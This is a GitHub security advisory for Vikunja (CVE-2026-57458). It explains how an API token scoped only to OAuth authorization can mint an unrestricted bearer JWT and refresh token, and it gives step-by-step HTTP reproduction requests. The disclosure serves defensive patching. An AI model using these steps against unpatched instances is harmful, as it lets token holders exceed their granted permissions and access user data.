GitHub Advisoryadvisory · Go
GHSA-v3p6-34mc-hj7v Vikunja: Scoped API token can mint unrestricted OAuth session credentials
HIGH
Official page ↗
- Aliases
- CVE-2026-57458
- Ecosystem
- Go
- Packages
- code.vikunja.io/api
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-269
- Reviewed
- 2026-10-09
Affected packages
• Go code.vikunja.io/api: >= 2.3.0, < 2.4.0 → fixed in 2.4.0
Description
Summary
A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.
A token limited to:
```json
{"oauth":["authorize"]}
```
can call `/api/v1/oauth/authorize`, receive an OAuth authorization code, exchange it at `/api/v1/oauth/token`, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.
Affected Component
• Scoped API tokens
• OAuth authorization flow
• `POST /api/v1/oauth/authorize`
• `POST /api/v1/oauth/token`
Impact
A narrowly scoped API token with only `oauth.authorize` can be converted into normal session credentials for the same user.
This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.
Runtime validation showed that the original scoped token could not access `GET /api/v1/user`, but the minted OAuth access token could access:
• `GET /api/v1/user`
• `GET /api/v1/projects`
No cross-user access, privilege escalation to admin, or access to another account was validated.
Technical Details
The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.
The vulnerable chain is:
1. A scoped API token authenticates the request and sets the current user context.
2. `/api/v1/oauth/authorize` accepts that API-token-authenticated user as a valid OAuth resource owner.
3. The OAuth authorization endpoint issues an authorization code.
4. `/api/v1/oauth/token` exchanges that code for a normal bearer JWT and refresh token.
5. The resulting credentials are not bound to the original API-token permissions.
Relevant code paths:
• `pkg/routes/routes.go`
• registers `/api/v1/oauth/authorize` in an authenticated API route group that also accepts scoped API tokens
• `pkg/models/api_routes.go`
• exposes non-CRUD subroutes as API-token permissions
• exposes the OAuth authorization endpoint under the `oauth` permission group
• `pkg/routes/api_tokens.go`
• stores `api_token` and `api_user` in the request context during API-token authentication
• `pkg/user/user.go`
• treats `api_user` as an authenticated current user
• `pkg/modules/auth/oauth2server/authorize.go`
• uses the current user and issues an OAuth authorization code
• `pkg/modules/auth/oauth2server/token.go`
• exchanges the authorization code for a normal JWT and refresh token
Steps to Reproduce
1. Create a scoped API token
Create an API token with only the following permission:
```json
{"oauth":["authorize"]}
```
Observed response:
```http
201 Created
```
The returned token had only the `oauth.authorize` permission.
2. Negative control: direct access with scoped token fails
Request:
```http
GET /api/v1/user
Authorization: Bearer
```
Observed response:
```http
401 Unauthorized
```
Response body:
```json
{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}
```
This confirms that the scoped token cannot directly access the normal user route.
3. Obtain an OAuth authorization code with the scoped token
Request:
```http
POST /api/v1/oauth/authorize
Authorization: Bearer
Content-Type: application/json
```
Body:
```json
{
"response_type": "code",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_challenge": "",
"code_challenge_method": "S256"
}
```
Observed response:
```http
200 OK
```
Response body:
```json
{
"code": "",
"redirect_uri": "vikunja-flutter://callback",
"state": ""
}
```
The scoped API token successfully obtained an OAuth authorization code.
4. Exchange the authorization code for session credentials
Request:
```http
POST /api/v1/oauth/token
Content-Type: application/json
```
Body:
```json
{
"grant_type": "authorization_code",
"code": "",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_verifier": ""
}
```
Observed response:
```http
200 OK
```
Response body:
```json
{
"access_token": "",
"token_type": "bearer",
"expires_in": 600,
"refresh_token": ""
}
```
The authorization code was exchanged for a normal access token and refresh token.
5. Use the minted access token on normal routes
Request:
```http
GET /api/v1/user
Authorization: Bearer
```
Observed response:
```http
200 OK
```
Additional scope check:
```http
GET /api/v1/projects
Authorization: Bearer
```
Observed response:
```http
200 OK
```
The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.
Expected Behavior
A scoped API token should not be able to obtain credentials with broader permissions than its declared scope.
`/api/v1/oauth/authorize` should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.
Actual Behavior
A token scoped only to `oauth.authorize` can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.
The minted credentials are not restricted by the original API-token permissions.
Related
Alias · CVE (1)
- CVE-2026-57458 Vikunja is an open-source self-hosted task management platform. vulnerability
Weakness · CWE (1)
- CWE-269 Improper Privilege Management weakness